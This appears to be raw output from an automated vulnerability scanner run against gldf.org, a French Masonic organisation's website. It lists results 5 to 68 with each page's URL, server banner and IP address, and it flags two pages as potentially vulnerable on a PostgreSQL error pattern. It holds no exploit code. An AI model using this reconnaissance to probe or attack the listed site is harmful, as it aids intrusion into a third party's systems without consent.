|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 5 / 100 ]-[17:14:05] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/mentions-legales/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 6 / 100 ]-[17:14:06] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/mon-compte.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 7 / 100 ]-[17:14:08] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/evenement-lyon.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 8 / 100 ]-[17:14:09] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/presse/?no_cache=1 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 9 / 100 ]-[17:14:11] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/plan-du-site.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 10 / 100 ]-[17:14:12] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/mon-compte/inscription.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 11 / 100 ]-[17:14:14] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/contacts/formulaire-de-contact.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 12 / 100 ]-[17:14:15] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/actualites-et-evenements-publics/colloques.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 13 / 100 ]-[17:14:16] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/culture-et-patrimoine/patrimoine/diaporama.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 14 / 100 ]-[17:14:18] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/contacts/gldf-ou-sommes-nous.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 15 / 100 ]-[17:14:19] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/actualites-et-evenements-publics/evenements.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 16 / 100 ]-[17:14:20] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/newsletter/newsletter-gldf-n59-fevrier-2016/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 17 / 100 ]-[17:14:21] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/videos.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 18 / 100 ]-[17:14:23] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/photos.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 19 / 100 ]-[17:14:24] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/editions-publications/boutique-en-ligne.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 20 / 100 ]-[17:14:25] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/culture-et-patrimoine/bibliotheque/presentation.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 21 / 100 ]-[17:14:26] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/actualites-et-evenements-publics/actualites.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 22 / 100 ]-[17:14:27] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/newsletter/newsletter-gldf-n58-janvier-2016.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 23 / 100 ]-[17:14:28] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/newsletter/newsletter-gldf-n68-janvier-2017.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 24 / 100 ]-[17:14:30] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/linitiation-en-gldf.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 25 / 100 ]-[17:14:31] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/contacts/visiter-la-gldf-infos-pratiques.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 26 / 100 ]-[17:14:32] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/culture-et-patrimoine/presentation-du-mab.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 27 / 100 ]-[17:14:33] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/newsletter/newsletter-gldf-n70-mai-2017.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 28 / 100 ]-[17:14:34] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/newsletter/newsletter-gldf-n62-mai-2016.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 29 / 100 ]-[17:14:35] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/culture-et-patrimoine/bibliotheque/selection-douvrages.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 30 / 100 ]-[17:14:37] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/editions-publications/publications/memoires-de-la-gldf/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 31 / 100 ]-[17:14:38] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/actualites-et-evenements-publics/colloques/videos.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 32 / 100 ]-[17:14:39] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/editions-publications/boutique-en-ligne/panier.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 33 / 100 ]-[17:14:40] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/uploads/tx_dklikbrochures/Connaitre_la_GLDF_01.pdf ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 34 / 100 ]-[17:14:43] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/uploads/tx_dklikbrochures/Bulletin_ICOM__5.pdf ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 35 / 100 ]-[17:14:45] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/uploads/tx_dklikbrochures/Programme_SMARTS_Lyon_2018_officiel.pdf ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 36 / 100 ]-[17:14:47] [ ! ] 
|_[ + ] Target:: [ ( POTENTIALLY VULNERABLE )   https://www.gldf.org/uploads/tx_dklikbrochures/DP_GLDF.pdf ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found::  POSTGRESQL-06  -  VALUE: pg_
|_[ + ] VALUE SAVED IN THE FILE:: inurlbr-gldf.org.txt

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 37 / 100 ]-[17:14:49] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/uploads/tx_dklikbrochures/Bulletin_ICOM__1.pdf ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 38 / 100 ]-[17:14:50] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/actualites-et-evenements-publics/journees-arts-maconniques.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 39 / 100 ]-[17:14:51] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/newsletter/la-lettre-pvi-n2-mars-2016.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 40 / 100 ]-[17:14:52] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/actualites-et-evenements-publics/evenement-icom-2017.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 41 / 100 ]-[17:14:54] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/actualites-et-evenements-publics/evenements/fiche-evenement.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 42 / 100 ]-[17:14:55] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/photos.html?cat_media=7 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 43 / 100 ]-[17:14:56] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/photos.html?cat_media=15 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 44 / 100 ]-[17:14:57] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/contacts/gldf-ou-sommes-nous/?no_cache=1 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 45 / 100 ]-[17:14:59] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/photos.html?cat_media=11 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 46 / 100 ]-[17:15:00] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/photos.html?cat_media=17 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 47 / 100 ]-[17:15:01] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/uploads/tx_dkactus/ComPresseBilanColloque.pdf ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 48 / 100 ]-[17:15:03] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/photos.html?cat_media=14 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 49 / 100 ]-[17:15:04] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/actualites-et-evenements-publics/inscription-evenement-gldf.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 50 / 100 ]-[17:15:05] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/photos.html?cat_media=16 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 51 / 100 ]-[17:15:07] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/photos.html?cat_media=12 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 52 / 100 ]-[17:15:08] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/editions-publications/boutique-en-ligne/ouvrages-gldf.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 53 / 100 ]-[17:15:10] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/photos.html?cat_media=19 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 54 / 100 ]-[17:15:11] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/photos.html?cat_media=13 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 55 / 100 ]-[17:15:13] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/mediatheque/photos.html?cat_media=9 ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 56 / 100 ]-[17:15:15] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/uploads/tx_dkactus/Bon_de_commande_du_livre.pdf ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 57 / 100 ]-[17:15:16] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/actualites-et-evenements-publics/enjeux-perspectives-condorcet-brossolette/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 58 / 100 ]-[17:15:18] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/gldf-et-vous/newsletter.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 59 / 100 ]-[17:15:19] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/actualites-et-evenements-publics/conferences-publiques/en-province.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 60 / 100 ]-[17:15:20] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/actualites-et-evenements-publics/enjeux-perspectives-condorcet-brossolette/agenda/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 61 / 100 ]-[17:15:22] [ ! ] 
|_[ + ] Target:: [ ( POTENTIALLY VULNERABLE )   https://www.gldf.org/actualites-et-evenements-publics/salon-maconnique-des-arts.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found::  POSTGRESQL-06  -  VALUE: pg_
|_[ + ] VALUE SAVED IN THE FILE:: inurlbr-gldf.org.txt

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 62 / 100 ]-[17:15:23] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/culture-et-patrimoine/presentation-du-mab/les-expositions.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 63 / 100 ]-[17:15:24] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/gldf-obedience-maconnique/gldf-qui-sommes-nous/linstitution.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 64 / 100 ]-[17:15:25] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/culture-et-patrimoine/patrimoine/videos-ceremonie-pierre-brossolette.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 65 / 100 ]-[17:15:26] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/culture-et-patrimoine/patrimoine/le-temple-franklin-roosevelt.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 66 / 100 ]-[17:15:28] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/gldf-obedience-maconnique/gldf-une-fraternite-en-action.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 67 / 100 ]-[17:15:29] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/devenir-franc-macon/devenir-membre-de-la-gldf.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 68 / 100 ]-[17:15:30] [ - ] 
|_[ + ] Target:: [ https://www.gldf.org/culture-et-patrimoine/fonds-darchives-de-la-gldf.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Apache/2.2.22 (Debian)  , IP:51.254.204.201:443 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

